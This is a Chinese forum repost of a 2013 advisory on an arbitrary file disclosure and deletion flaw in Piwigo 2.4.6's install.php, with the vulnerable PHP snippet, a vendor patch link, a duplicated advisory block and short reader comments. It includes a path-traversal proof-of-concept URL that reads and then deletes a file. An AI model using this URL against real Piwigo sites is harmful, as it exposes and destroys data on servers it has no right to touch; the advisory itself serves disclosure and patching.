Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。 文章作者: qing edit
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
15.02.2013
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116: header('Cache-Control: no-cache, must-revalidate');
117: header('Pragma: no-cache');
118: header('Content-Disposition: attachment; filename="database.inc.php"');
119: header('Content-Transfer-Encoding: binary');
120: header('Content-Length: '.filesize($filename));
121: echo file_get_contents($filename);
122: unlink($filename);
123: exit();
124: }
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
15.02.2013
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
评论5次
xi统没有安装完后自动删除install.php文件吗?还有进后台没有提示要删除?
安装后install没删?
打印出来后删除。。邪恶了点
感谢分享
大神啊第一次做沙发